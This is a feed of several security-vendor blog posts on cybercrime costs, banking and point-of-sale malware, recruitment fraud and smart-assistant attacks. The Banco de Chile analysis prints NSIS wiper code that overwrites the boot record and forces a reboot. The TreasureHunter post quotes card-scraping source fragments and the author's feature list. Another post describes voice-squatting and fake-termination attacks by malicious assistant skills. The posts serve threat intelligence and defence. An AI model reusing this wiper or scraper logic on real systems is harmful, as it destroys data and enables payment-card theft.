White hat, black hat, and the emergence of the gray hat: the true costs of cybercrime

This post was written by Michael Osterman of Osterman Research.

Osterman Research recently completed a major survey on behalf of Malwarebytes to determine the actual cost of cybercrime to businesses. Many studies have focused on the cost of lost reputation, lost future business, and other consequences of cybercrime—and while these are certainly valid considerations—we wanted to understand the direct costs of cybercrime. To do so, we surveyed mid-sized and large organizations on a variety of issues, but focused on three cost components:

  • Security budgets
  • The cost of remediating “major” events, e.g., events like a widespread ransomware infection or major data breach that would be highly disruptive to an organization and might take it offline for some period of time
  • The cost of cybercrime perpetrated by “gray hats;” those employees who dabble in cybercrime without giving up their day job as a security professional

Here’s what we discovered:

Cybercrime isn’t cheap

Organizations of all sizes can expect to spend significant amounts on various cybersecurity-related costs. For example, our research found that an organization of 2,500 employees in the United States can expect to spend nearly $1.9 million per year for cybersecurity-related costs (that’s nearly $760 per employee).

While the costs are lower in most of the other countries that we surveyed, the global average exceeds $1.1 million for a 2,500-employee organization.

Gray hats are a problem

Globally, one in 22 security professionals are perceived by their security-professional peers to be gray hats, but this figure jumps to one in 13 for organizations based in the United Kingdom. Mid-sized organizations (500 to 999 employees) are getting squeezed the hardest, and this is where the skills shortage, and the allure of becoming a gray hat, may be the greatest.

Underscoring the depth of the gray hat problem is the fact that 12 percent of security professionals admit to considering participation in black hat activity, 22 percent have actually been approached about doing so, and 41 percent either know or have known someone who has participated in this activity. This is by no means a rare or isolated problem!

Once more unto the breach

We found that the vast majority of organizations have suffered some type of security breach and/or attack during the 12 months preceding the survey. The most common avenue of attack was from phishing, but others that were experienced included adware/spyware, ransomware, spearphishing, accidental and intentional data breaches, nation-state attacks, and hacktivist attacks.

Only 27 percent of organizations reported no attacks during the 12 months leading up to the survey, and even that figure may underestimate the depth of the problem: some organizations can be infiltrated by stealthy attacks that may not be discovered for several months after the initial infiltration.

The middle child syndrome

Corroborating what Osterman Research has discovered in other research, mid-market companies—those with 500 to 999 employees—face the most difficult challenges from a security perspective. They encounter a higher rate of attack than smaller companies and similar rates of attack as their larger counterparts, but they have fewer employees over which to distribute the cost of the security infrastructure.

In short, mid-market organizations have big company problems and small company budgets with which to solve them.

Major attacks

We found that a “major” attack occurs with alarming frequency. Globally, we found that during 2017, such attacks occurred to the organizations we surveyed at an average of once every 15 months. But US organizations were the hardest hit in 2017, with an average of one attack every 6.7 months. These are highly disruptive events that can take a company off-line for days or weeks.

As just one example of such an attack, consider the City of Atlanta that was infected with ransomware in April 2018 and has spent more than $2.6 million on remediating the compromise. The attack impacted five of the City’s 13 departments and the police department’s records system, as well as causing other mayhem for city employees and the public.

The bottom line is that cybercrime costs enormous amounts that go well beyond the annual security budget. And if companies don’t find a way to put a stop to the cybercrime happening both inside and outside of their walls, they’ll have to pay the price.

White Hat, Black Hat, and the Emergence of The Gray Hat: The True Costs of Cybercrime

The post White hat, black hat, and the emergence of the gray hat: the true costs of cybercrime appeared first on Malwarebytes Labs.

Go to Source
Author: Malwarebytes Labs

Banco de Chile ‘MBR Killler’ Reveals Hidden Nexus to Buhtrap Malware Kit Used to Target Financial Institutions, Payment Networks

Wiper malware that may have destroyed as many as 9,000 workstations and 500 servers inside the Banco de Chile in a late-May attack has similarities to the Buhtrap malware component known as MBR Killer, leaked to the underground in February 2016.

Analysts at Flashpoint reverse-engineered the identified malware linked to the May 24 attack against the country’s largest financial institution, and said the malware is a modified version of a MBR Killer module known as kill_os. MBR Killer infections render the local operating system and the Master Boot Record unreadable.

According to bank officials, however, the wiper malware was just cover for a deeper attack against endpoints handling sensitive transactions and messaging over the SWIFT network. The SWIFT banking network, or the Society for Worldwide Interbank Financial Telecommunication, is the primary means of secure, reliable communications and money transfers between financial institutions.

On Sunday, Banco de Chile general manager Eduardo Ebensperger said in a statement that customer accounts were not affected, but critical processes such as branch services and telephone banking were impacted, as were executive offices and cashier personnel. Ebensperger told Chilean media outlet Pulso that $10 million was stolen and the stolen funds were filtered to entities in Hong Kong. He added that a forensic analysis conducted by Microsoft concluded this was an “international attack” and attributed it to either Eastern European or Asian groups.

Buhtrap malware and its components, including MBR Killer, were previously used in attacks against multiple Russian financial institutions, resulting in losses of 97 million rubles, or $1.23 million USD. The attacks in Russia forced one bank to disconnect from the Russian electronic payment system.

The attack in Chile comes on the heels of incidents affecting several banks in Mexico that use its Sistema de Pagos Electrónicos Interbancarios (SPEI) interbank transfer system, resulting in approximately $15.4 million USD in losses. In January, Flashpoint was aware of a separate malware attack targeting Mexican financial institutions that followed a pattern similar to previous attacks, with possible attribution to North Korean malware. Flashpoint was not able to analyze the malware targeting Mexican financial institutions, though the FBI associated the attack with North Korean malware. A report from El Financiero, a Mexican financial publication, following the January incident identified the attack as “FALLCHILL,” a North Korean remote administration tool (RAT) targeting aerospace, telecommunications, and financial organizations.

At this time, there does not appear to be a connection between attacks against Mexico’s banking institutions and the purported attack on Banco de Chile because the tactics, techniques, and procedures (TTP) used by the threat actors differ.

The similarities between the malicious code used in Chile and the leaked code from 2016 are in the use of the same NSIS script, below, in both instances. NSIS, or Nullsoft Scriptable Install System, is an open source system used to build Windows installers.

The leaked Buhtrap code contains almost identical Nullsoft Scriptable Install System (NSIS) script as the unpacked Banco de Chile malware.

The leaked Buhtrap code contains almost identical Nullsoft Scriptable Install System (NSIS) script as the unpacked Banco de Chile malware.

By and large, the Buhtrap malware is complex and includes more than a dozen modules that give attackers the capability to install more malicious code, retain remote control over a compromised machine, and steal credentials among others. A list of available modules follows:

• “BHO”: a module designed to intercept and replace pages in the Internet Explorer browser.

• “kill_os”: a module designed to erase the MBR.

• “Loaders”: builders of NSIS scripts designed to install malware.

• “Mimimod”: a modified version of the “Mimikatz” program, used to obtain user credentials in the system.

• “ID”: an algorithm for obtaining the unique number of the infected machine.

• “BSShide”: a module designed to hide payment orders in the Business Support Systems (BSS). It modifies the page displayed to the user. SWIFT is part of the BSS.

• “Antidetekt”: a module designed to detect virtual environments and “sandboxes.”

• “UAC”: a module to bypass the User Account Control (UAC) protection.

• “RDP”: modifies the OS for the potential simultaneous operation of several users in the system.

• “VNC”: remote PC control with backconnect.

• “DLL Side-Loading”: used to install a keylogger and to provide communication with the control panel. Enables installation and operation of other modules in the system.

• “Control panel”: used to maintain visibility into infections and install additional modules to the infected host.

• “Builder”: a program designed to collect Trojan modules in one executable file.

• “MWI”: a collection of exploits, part of the “Microsoft Word Intruder” tool that was available on underground.

The Banco de Chile MBR Killer was also packed with VMProtect, meant to protect against forensic analysis and reverse engineering. Notably, the malware does not target victims based on locale or language; however, a Spanish language and locale check is present in the malware. The attribution behind the Banco de Chile attack remains uncertain; it is unclear if this code was simply reused by a copycat group or linked to the original group behind the Buhtrap malware. Originally, the kill_os module was leveraged to hide the evidence of successful bank network penetrations.

Banco De Chile: Malware Technical Analysis

The malware is packed with VMProtect/NSIS, and is executed via the System.dll in %TEMP%.

I. Main loop CreateFile API accessing \.PHYSICALDRIVE0:

Function main_loop_CreateFile
IntFmt $1 “\.PHYSICALDRIVE%D” $0
Push $0
StrCpy $0 $1
System::Call “KERNEL32::CREATEFILE(t, i, i, i, i, i, i) i (‘$0’, ${GENERIC_READ}|${GENERIC_WRITE}, ${FILE_SHARE_READ}|${FILE_SHARE_WRITE}, ${NULL}, ${OPEN_EXISTING}, ${FILE_ATTRIBUTE_NORMAL}, ${NULL}) .r2”
Pop $0
FunctionEnd

II. Master boot record setup:

!define
STMBR
‘(&i446, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i2) i’

III.MBR logical block addressing:

!define
STMBRLBA
‘(&i446, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i2) i’

IV. Volume boot record NTFS:

!define
STVBR_NTFS
‘(&i3, &i8, &i2, &i1, &i2, &i24, &i8, &i8, &i8, &i4) i’

V. Process NTFS boot:

Overwrite MBR
Overwrite Master File Table (MFT) mirror
Overwrite Volume Boot Record (VBR) mirror
Overwrite Extended Boot Record (EBR)
The following system API calls are used to overwrite the system:

${ForEach} $7 1 ${OVERWRITE_COUNT} + 1
System::Call “kernel32::SETFILEPOINTER(i, i, *p ,i) i (r2, r4, r3, ${FILE_BEGIN}) .r8”
${If} $8 <> -1
System::Call “kernel32::WRITEFILE(i, i, i, p, i) i (r2, r5, r9, r6, ${NULL})”
System::Call “kernel32::FlushFileBuffers(i) i (r2)”
${EndIf}

VI. Process protection malware from shutdown:

System::Call “KERNEL32::GETMODULEHANDLE(t) p (‘ntdll.dll’) .r0”
${If} $0 <> ${NULL}
System::Call “KERNEL32::GETPROCADDRESS(p, t) p (r0, ‘ZwClose’) .r1”
${If} $1 <> ${NULL}
System::Call “KERNEL32::VIRTUALPROTECT(p, i, i, *i) i (r1, 6, ${PAGE_EXECUTE_READWRITE}, .r2) .r0”
${If} $0 <> 0
System::Alloc 6
pop $3
System::Call “NTDLL::MEMCPY(p, p ,i) i (r3, r1, 6)”
System::Call “NTDLL::MEMCPY(p, t, i) i (r1, t ‘1′, 6)”
System::Call “KERNEL32::CLOSEHANDLE(i) i (0x12345678) .r4”
System::Call “NTDLL::MEMCPY(p, p, i) i (r1, r3, 6)”
System::Free $3

VII. System shutdown instruction:

ExitWindowsEx_EWX_REBOOT_
Push $1
StrCpy $1 ${EWX_REBOOT}|${EWX_FORCE}
System::Call “USER32::EXITWINDOWSEX(i, i) i ($1, ${SHTDN_REASON_MAJOR_SOFTWARE}|${SHTDN_REASON_MINOR_UPGRADE}) i .r0”
Pop $1
FunctionEnd

Possible action:

As the MBR Killer codebase was identical with minor modification to the Buhtrap simple MBR Killer, reviewing any mitigation against the Buhtrap malware might assist with mitigation exposure to this threat.
Review and mitigate for any malware execution from %TEMP% directory specifically if it calls “System.dll.”

To download the MBR Killer indicators of compromise (IOCs), click here.

The post Banco de Chile ‘MBR Killler’ Reveals Hidden Nexus to Buhtrap Malware Kit Used to Target Financial Institutions, Payment Networks appeared first on Flashpoint.

Go to Source
Author: Flashpoint

Targeting Popular Job Recruitment Portals About More Than PII

Job listing and recruitment portals have been an attraction for cybercriminals given the volume of personal information uploaded to those sites in the form of resumes, cover letters and other data specific to individuals.

But there’s more to criminals’ interest than just stealing personally identifiable information. Security shortcomings on some of these sites can expose job applicants, business account holders and the recruiters themselves to a number of different threats. For example, when threat actors gain access to legitimate business accounts at recruiting sites they can use social engineering to con job seekers into replying to phony listings and are inadvertently recruited as money mules, or are lured into money laundering operations. Malicious documents in the guise of a PDF’d application can also slip past lax or non-existent scanning tools and target the recruitment portal directly, or enable an attacker access to data stored on the portal and expose applicants to identity theft.

Flashpoint analysts have noticed a marginal increase in the number of mentions on Deep & Dark Web forums related to such activity around recruitment portals, many of which involve advertisements for the availability of compromised accounts, or criminals soliciting business accounts in order to list jobs on the platforms. Attackers want access to business accounts in order to leverage their phony job listings and recruit people who would ultimately participate in fraud without their knowledge.

It’s likely that most of the recruitment portals are either unaware of such activity, or hesitant to disclose it, meaning that analysts may not have a true handle on the full scope of the problem. Given the increasing number of mentions and interest in abusing these platforms, threat actors may find this to be a useful tactic going forward.

The recruitment of unwitting mules is a growing problem on a number of online platforms that accept classified ads, but most prominently on job recruitment portals. Desperate for employment, a candidate may think they’re applying for a legitimate position. In actuality, the nonexistent positions—typically for merchandise handlers or payment processors—are a means of recruiting unwitting applicants into performing activity that facilitates fraud schemes, such as money laundering, by receiving unauthorized transfers of funds and sending the funds on to other recipients, typically for a nominal fee, frequently 10% of the amount they receive. The applicants are likely to believe the position is more credible if it is posted by a reputable company on a popular recruitment platform.

The phony job solicitations are professionally written and appear legitimate to casual observers and at times to the actual business, who may have numerous satellite campuses and could be unaware of where a local office or contractor could be listing a job.

When it comes to targeting recruitment professionals, Flashpoint analysts have observed that threat actors typically target such employees via email phishing campaigns, rather than attack the recruitment portals given the continued relevant success of phishing schemes. Credential stuffing, or account checking attacks, are more viable when targeting recruitment portal accounts. Credential stuffing attacks leverage the hundreds of millions of breached and leaked credentials available on the Deep & Dark Web (DDW) and the surface web to gain unauthorized access to accounts. Attackers use automated login requests to repeatedly try username-password combinations until they gain access to an account; it’s a tactic that could have its advantages over using malware-laced PDF documents that may never be downloaded, or could be flagged by a scanner.

Job recruitment portals are a warehouse of personal information, and by successfully compromising an applicant’s or recruiter’s account, criminals are able to harvest applicants’ PII, execute social engineering attacks that lead to identity theft, or recruit unwitting mules for fraud.

Flashpoint recommends the following mitigation advice for recruiters and platforms:

• Recruiters should always utilize the document parsers that many recruitment platforms have to avoid being infected by malicious documents.

• Recruiters should enforce employees’ usage of the recruitment platforms, rather than passing around PDF resumes and cover letters

• Require proper document virus scanning

• Secure accounts with unique passwords and two-factor authentication in order to deter account takeover.

• Recruiters should work with internal security teams to do cursory research across recruitment sites for fraudulent listings

• Recruitment portals should implement various security checks that analyze malicious documents and URLs for malicious activity.

• Recruitment portals should always advise users of the risk of accepting third-party documents.

The post Targeting Popular Job Recruitment Portals About More Than PII appeared first on Flashpoint.

Go to Source
Author: Flashpoint

Researchers discover vulnerabilities in smart assistants’ voice commands

Virtual personal assistants (VPA), also known as smart assistants like Amazon’s Alexa and Google’s Assistant, are in the spotlight for vulnerabilities to attack. Take, for example, that incident about an Oregon couple’s Echo smart speaker inadvertently recording their conversation and sending it to a random contact. Or that time when the Alexa started laughing out of the blue. Indeed, something has to be done about these hacks, whether they’re by accident or not.

Earlier this month, researchers from Indiana University, the Chinese Academy of Sciences, and the University of Virginia found exploitable weaknesses in the VPAs above. Researchers dubbed the techniques they used to reveal these weaknesses as voice squatting and voice masquerading. Both take advantage of the way smart assistants process voice commands. Unsurprisingly, these also exploit users’ misconceptions about how such devices work.

How smart assistants work

VPA services used in smart speakers can do what they’re created to do with the use of apps called “skills” (by Amazon) or “actions” (by Google). A skill or an action provides a VPA additional features. Users can interact with a smart assistant via a virtual user interface (VUI), allowing them to run a skill or action using their voice.

Entrepreneurs, with the help of developers, are already taking advantage of creating their own voice assistant (VA) apps to cater to client needs, making their services accessible in the voice platform, or merely introducing an enjoyable experience to users.

As of this writing, the smart assistant apps market is booming. Alexa skills alone already has tens of thousands, thanks to the Alexa Skill Kit. Furthermore, Amazon has recently released Alexa Skill Blueprints, making skills creation easy for the person who has little to no knowledge of coding.

Unfortunately, the availability of such a kit to the public has made abuse by potential threat actors possible, making the VPA realm an entirely new attack vector. If an attack is successful—and the study researchers conducted proved that it can be—a significant number of users could be affected. They concluded that remote, large-scale attacks are “indeed realistic.”

Squatters and masqueraders

Voice squatting is a method wherein a threat actor takes advantage or abuses the way a skill or action is invoked. Let’s take an example used from the researchers’ white paper. If a user says, “Alexa, open Capital One” to run the Capital One skill, a threat actor can potentially create a malicious app with a similarly pronounced name, such as Capital Won. The command meant for the Capital One skill is then hijacked to run the malicious Capital Won skill instead. Also, as Amazon is now rewarding kids for saying “please” when commanding Alexa, a similar hijacking can occur if a threat actor uses a paraphrased name like Capital One please or Capital One Police.

“Please” and “police” may mean two totally different things to us, but for current smart assistants, these words are the same, as they cannot correctly recognize one invocation name over another similar-sounding one.

Suffice to say, VPAs are not great at handling homophones.

Voice masquerading, on the other hand, is a method wherein a malicious skill impersonates a legitimate one to either trick users into giving out their personal information and account credentials or eavesdrop on conversations without user awareness.

Researchers identified two ways this attack can be made: in-communication skill switch and faking termination. The former takes advantage of the false assumption that smart assistants readily switch from one skill to another once users invoke a new one. Going back to our previous example, if Capital Won is already running and the user decides to ask “Alexa, what’ll the weather be like today?”, Capital Won then pretends to hand over control to the Weather skill in response to the invocation when, in fact, it is still Capital Won running but this time impersonating the Weather skill.

As for the latter, faking termination abuses volunteer skill termination, a feature wherein skills can self-terminate after delivering a voice response such as “Goodbye!” to users. A malicious skill can be programmed to say “Goodbye!” but remain running and listening in the background for a given length of time.

But…I like my smart assistant!

No need to box up your smart speakers and send them back if these vulnerabilities worry you. But it is essential for users to really get to know how their voice assistant works. We believe that doing so can make a significant difference in maintaining one’s privacy and protecting from attack.

“Making devices, such as Alexa, responsible for important systems and controls around the house is concerning, especially when evidence emerges that it’s able to turn a simple mistake into a potentially serious consequence,” our very own Malware Intelligence Analyst Chris Boyd said in an interview with Forbes.

Smart assistants and IoT, in general, are still fairly new tech, so we expect improvements in the AI, and the security and privacy efforts within this sector. Both Amazon and Google have claimed they already have protections against voice squatting and voice masquerading.

While it is true that the researchers had already met with both firms to help them understand these threats further and offer them mitigating steps, they remain skeptical about whether the protections put in place are indeed adequate. Only time will tell.

The post Researchers discover vulnerabilities in smart assistants’ voice commands appeared first on Malwarebytes Labs.

Go to Source
Author: Malwarebytes Labs

Trickbot and IcedID Botnet Operators Collaborate to Increase Impact

Different banking malware operations previously competed for victims, often seeking out and uninstalling one another upon compromising machines; for example, the SpyEye malware would uninstall Zeus upon infection. Now, in what may indicate a shift toward more collaboration among cybercrime groups, the operators of the IcedID and TrickBot banking Trojans appear to have partnered and are likely sharing profits, based on operation details.

The clincher came when analysts at Flashpoint recently examined samples that indicate computers infected with IcedID are also downloading Trickbot, a prolific piece of malware considered to be the successor to the Dyre banking Trojan.

Researchers first spotted IcedID in November 2017; IBM’s X-Force research team published a report claiming to have spotted spotted this new banking malware spreading via massive spam campaigns. Compromised computers were first infected with the Emotet downloader, which then grabbed IcedID from the attacker’s domain; the Russian-speaking cybercriminals behind Emotet are believed to be comprised of some of the operators of the Dridex banking Trojan. IcedID is able to maintain persistence on infected machines, and it has targeted companies mainly in the financial services, retail, and technology sectors.

Image 1: The typical fraud ecosystem that involves IcedID/TrickBot cash-outs

Image 1: The typical fraud ecosystem that involves IcedID/TrickBot cash-outs

It appears that attackers now send IcedID directly as spam, and that piece of malware acts as a downloader that installs TrickBot, which in turn installs other modules on victims’ machines.

While it is typically unusual to find two different malware families infecting the same machine, Flashpoint analysts have determined through source intelligence with knowledge of both parties’ operations that there are indications of extensive collaboration between these two fraud operators. Human fraudsters are central to this cybercrime model; the TrickBot operators, for example, leverage automated attacks and knowledgeable fraud operators who review compromised data from victims’ machines and can carry out real-time account takeover (ATO) operations.

Trickbot and IcedID Fraud Master Collaboration: Monetization Funnel

Even the most sophisticated cybercriminal organization cannot reap financial rewards without the human resources required to cash out victims’ bank accounts. Cybercriminals’ ability to profit from the products and services involved in financial fraud rests on the availability of fraud masters, money mules, and related services.

The TrickBot and IcedID collaboration gives this pairing significant capabilities. First, the attacks are complex; while the malware’s main capabilities are its use of token grabbers, redirection attacks, and webinjects to steal banking credentials, there are other modules at the operators’ disposal that allow them to have deep coverage of a victim’s machine and expand the breadth and scope of an attack, thereby allowing them to derive additional potential sources of profit from a successful compromise.

Key to this complete coverage is the ability to carry out account checking, or credential stuffing, in order to determine the value of a victim’s machine and their access. Attackers can leverage higher value targets for network penetration, for example, while attackers can use other compromised targets for cryptocurrency mining.

IcedID has been in the wild since April 2017 and was originally known as BokBot; this malware is exclusively a threat to Windows. Emotet was associated with this malware, and operators used it mainly as a loader and to maintain persistence in order to install and execute additional malware, including a virtual network computing (VNC) module for remote management and an antimalware bypass module. IcedID creates proxies that are used to steal credentials for a host of websites that are mainly in financial services, though some sites also correspond to the retail and technology sector. The local proxy intercepts traffic and uses a webinject that steals login data from the victim.

Image 2: The IcedID banker includes an extensive token grabber module with the alphabetical parameters.

Image 2: The IcedID banker includes an extensive token grabber module with the alphabetical parameters.

TrickBot targets victims in a wide swathe of industries by leveraging multiple modules, including leaked exploits, and targets victims for various malicious activities, such as cryptocurrency mining and ATO operations.

Central Command

Linguistic analysis and an investigation into TrickBot and IcedID botnet operations reveals that the campaign involving a botnet belongs to a small group that commissions or buys the banking malware, manages the flow of infections, makes payments to the project’s affiliates (traffic herders, webmasters, mule handlers), and receives the laundered proceeds. Flashpoint assesses with high confidence that a head of operations likely oversees a complex network of actors who likely know each other only by aliases even after years of working together. Each segment of the ecosystem, the so-called affiliates, are specialists within their respective domains. While they are delivering value to the botnet owner, they act independently, employing their own closed networks to accomplish assigned tasks. The organizational complexity of these projects, along with the stringent security practices exercised by everyone throughout the supply chain, poses a significant challenge to investigations.

Role of Botmaster in Cybercrime Operations

The responsibility to monitor the botnet, or the sum total of all victims’ online activities, falls on the TrickBot and IcedID botmaster. A bot’s activity is recorded in the command-and-control (C2) database according to the parameters specified in the control panel’s preferences. The botmaster also accepts XMPP or Jabber notifications via the “jabber_on” field in the backend when the victims log in to the banking page of interest. The botmaster then provides a message for the fraud masters once the login is recorded. The message reads, “Try to log in with: Login AND passcode: at this url: <bank_login_url.”

The botmaster may elect to receive notifications when a victim accesses only certain online banking applications. If, for example, the project is built around European or US financial institutions (possibly because that is where the syndicate’s money laundering capabilities are focused), they would receive Jabber notifications based on their geographical cash out preference.

The botmaster decodes the logs and parses them for the needed content. Exported logs may contain tens of millions of lines of data, so a botmaster will likely employ a parsing application to extract the relevant data. Advanced banking Trojans such as Citadel have a built-in log parser. Once information consisting of the victim’s login credentials, answers to the secret questions, and email address is extracted from the logs, it is passed on to an affiliate who manages real-world operations.

Geographical disparity presents an obstacle in monetizing access, though this issue is typically solved through the use of money mule (or drop) services. Mules open bank accounts in the geographic location of the victim and at the same financial institution. They receive fraudulent account clearing house (ACH) and wire transfers into their account and forward the proceeds to the botnet owner or the intermediary. Higher up the chain, mule handlers direct mule recruiting and money laundering activities at a range of locations and financial institutions; many mule handlers advertise their services on the cybercrime forums.

Image 3: The IcedID banking grabber request reveals a detailed URL pattern with the data submission and exfiltration to the inject server.

Image 3: The IcedID banking grabber request reveals a detailed URL pattern with the data submission and exfiltration to the inject server.

Based on the close collaboration between TrickBot and IcedID operators and their shared backend infrastructure, it is likely that the operators will likely continue to closely collaborate on cashing out stolen accounts.

Such collaboration may also signal that fraud masters and malware developers are continuing to foster collaborative fraud operations targeting corporations in an attempt to bypass the latest anti-fraud measures.

Image 4: The IcedID/TrickBot operators rely on detailed inject messages from victim machines for ATO fraud.

Image 4: The IcedID/TrickBot operators rely on detailed inject messages from victim machines for ATO fraud.

Attachments and Downloads

To download the Indicators of Compromise (IOCs) for TrickBot and IcedID, click here.

To download the Snort rule, click here.

The post Trickbot and IcedID Botnet Operators Collaborate to Increase Impact appeared first on Flashpoint.

Go to Source
Author: Flashpoint

TreasureHunter Point-of-Sale Malware and Builder Source Code Leaked

The source code for a longstanding point-of-sale (PoS) malware family called TreasureHunter has been leaked on a top-tier Russian-speaking forum. Compounding the issue is the coinciding leak by the same actor of the source code for the malware’s graphical user interface builder and administrator panel.

The availability of both code bases lowers the barrier for entry for cybercriminals wishing to capitalize on the leaks to build their own variants of the PoS malware.

Point-of-sale malware has been at the root of many breaches, including massive thefts at retailers Target in 2013 and Home Depot in 2014; in each case attackers were able to extract more than 100 million payment card and customer records from point-of-sale terminals by scraping card data before it was encrypted and sent to the payment processor. Both retail giants paid tens of millions of dollars in settlements, and in Target’s case, its chief executive officer resigned his position.

Industry Collaboration on Detection and Prevention

TreasureHunter has been known and investigated since 2014, but until now investigators have had to reverse-engineer its code in order to analyze it. Now with the full code available, analysts have previously unseen insight into the malware’s operation. Flashpoint analysts, who discovered the source code leak in March, proactively collaborated with researchers at Cisco Talos, who reviewed and improved protections, and advanced-detection mechanisms, in an effort to disrupt potential copycats who may have their hands on the source code.

In the meantime, Russian-speaking cybercriminals have been observed on the vetted underground discussing improvements and weaponization of the leaked TreasureHunter source code. Notably, the original developer appears to be a Russian speaker who is proficient in English. Originally, this malware appears to have been developed for the notorious underground shop dump seller “BearsInc,” who maintained presence on various low-tier and mid-tier hacking and carding communities (below is a graphical representation of such an operation on the Deep & Dark Web). It’s unknown why the source code was leaked at this time.

A graphical representation of a typical cybercrime dump shop ecosystem.

Image 1: A graphical representation of a typical cybercrime dump shop ecosystem.

One Leak Can Spawn Many Variants

TreasureHunter behaves like many other point-of-sale malware samples. Once an attacker has access to a Windows-based server and the point-of-sale terminal, the malware is installed and it establishes persistence by creating a registry key that runs the malware at startup. It then enumerates running processes, and scans device memory looking for track data, including primary account numbers (PANs), separators, service codes, and more. It then establishes a connection with the attacker’s command and control server and sends the stolen data to the criminal.

The leak of the builder adds another dimension to the availability of the TreasureHunter payload and configurations. In the past, malware source code leaks such as the Zeus banking Trojan have spawned numerous variants, including Citadel, which cost organizations hundreds of millions in losses. PoS malware leaks have had similar effects, most notably with the 2015 leak of the Alina malware which led to the creation of the ProPoS and Katrina variants. The actor behind the TreasureHunter leak said:

“Besides alina, vskimmer and other sniffers, Treasure Hunter still sniffs ( not at a very high rate, but it still does ) and besides that , since now you have the source code, it can be update anytime for your own needs.”

For researchers, the availability of the source code opens the door into new avenues of analysis and proactive visibility into such activity on the underground. This affords organizations such as Flashpoint the ability to collaborate with others in the industry such as Cisco Talos in this case to improve existing protections and force attackers back to the drawing board.

Source-Code Level Insight

The code project appears to be called internally trhutt34C, and was written in pure C with no C++ features. It was compiled originally in Visual Studio 2013 on Windows XP. Based on analysis, researchers believe the developer intended to improve and redesign various features including anti-debugging, code structure improvement, and gate communication logic. With the goal of additional features to be improved, the developer hoped frustrate malware analysis and subsequent research; the actor left behind a note that said: “We want the malware researchers screamin’!”

A snapshot of the TreasureHunter source code.

Image 2: A snapshot of the TreasureHunter source code.

The unfinished project included continued improvement code snippets, below:

  • TO DO for the next version of the client (0.2 Beta):
    • Replace all Unicode versions of functions with ANSI versions. Now why did I ever go for wide-char in the first place?..
  • Improve the code structure:
    • Replace all the if – else constructs that are rendered needless by return commands;
    • Organize the includes;
    • Give the code proper commenting so that I am able to modify and improve it after not having seen it for some time (if such a thing happens).
    • Make scan exceptions and service codes configurable.
    • Add the following commands to the gate communication logic:
    • Download and execute for updating;
    • Remote CMD command execution;
    • Remote self-removal for emergency cases.
    • Add anti-debugging:
      • Use self-debugging by creating a child process (may be improved later by reversing the tables);
      • Improve the MD5 function and use it to find debuggers by signatures (maybe to be added in future versions);
      • Use GetTickCount to detect parts of code being stepped through (maybe to be added in a “heuristical” joint algorithm with the abovementioned);
      • Upon finding a debugger, destroy the critical section and/or start creating new threads infinitely until the application crashes.
      • Maybe also kill processes and delete debuggers and/or decompilers permanently. We want the malware researchers screamin’!
  • Add better persistency and timeouts to gate communication.
  • Add local saving of data if the gate can’t be reached for a certain period of time.
  • Add the option to run the program as a service on Windows XP.
  • Improve the code structure and add comments to avoid future confusion.
  • Add error handling and backup restart in case of crash or heap overflow (malloc fail).
  • Improve the Clingfish system (so that a clingfish thread doesn’t do the same thing as the main thread right after being spawned).
  • Debug the system information extraction mechanism further (on different OS versions).
  • Improve the track-finding algorithm to make it faster.

The stolen dump structure is as follows. The structure contains the following key elements used to collect and operate with stolen dumps, such as unique machine information and where scraped data is from:

typedef struct dumpsHolder {
TCHAR *lpFileName;
int lpFileNameLength;
int procID;
char *trackArr;
int trackArrLength;
} dumpsHolder;

The credit card process scan works in exception mode:

char *scanExceptions[SCANEXCEPTIONSNUM] = {“System32”, “SysWOW64”, “\Windows\explorer.exe”};

The malware focuses on scraping credit card track data, focusing on the following service codes:

char *serviceCodes[SERVICECODESNUM] = {“101”, “201”, “121”, “231”, “221”, “110”};

Registry persistence for autostart in HKLMMicrosoftWindowsCurrentVersionRun runs as “jucheck.”

A registry key created by the malware for persistence

Image 3: A registry key created by the malware for persistence.

The source code is consistent with the various samples that have been seen in the wild over the last few years. TreasureHunterconfig.h shows definite signs of modification over the lifespan of the malware. Early samples filled all of the configurable fields with FIELDNAME_PLACEHOLDER to be overwritten by the builder. More recent samples, and the source code, instead writes useful config values directly into the fields. This makes the samples slightly smaller and uses fresh compiles to create reconfigured files.

The post TreasureHunter Point-of-Sale Malware and Builder Source Code Leaked appeared first on Flashpoint.

Go to Source
Author: Flashpoint

RAT Gone Rogue: Meet ARS VBS Loader

Malicious VBScript has long been a fixture of spam and phishing campaigns, but until recently its functionality has been limited to downloading malware from an attacker-controlled server and executing it on a compromised computer.

Researchers at Flashpoint have seen and analyzed a unique departure from this norm in ARS VBS Loader, a spin-off of a popular downloader called SafeLoader VBS that was sold and eventually leaked in 2015 on Russian crimeware forums.

ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim’s machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious “loaders”, i.e. initial infection vector malware families used to install subsequent payloads.

Image 1: ARS VBS Loader's administrative login portal.

Image 1: ARS VBS Loader’s administrative login portal.

The new loader has been spammed out in email attachments enticing victims with lures in subject lines related to personal banking, package shipments, and toll road notifications. Should a victim interact with the attachment and launch it, analysts say numerous types of commodity malware could be installed, including the AZORult information-stealing malware. AZORult was also used in campaigns targeting more than 1,000 Magento admin panels; in those attacks, the malware was used to scrape payment card information from sites running the popular free and open source ecommerce platform.

ARS VBS Loader targets only Windows machines and supports Windows 10, according to posts to a Russian-speaking forum going back to December. Previously, another loader called FUD ASPC Loader, first advertised in May 2017, contained similar functionality but not Windows 10 support.

The loader is also likely to side-step detection by signature-based antivirus and intrusion detection systems because of the relative ease in which attackers can obfuscate VBScript, Flashpoint analysts said. Obfuscation through a variety of means allows attackers to hide malware; if the malware is obfuscated with encryption or packing, it’s exponentially more difficult for antivirus to sniff out malicious code, for example.

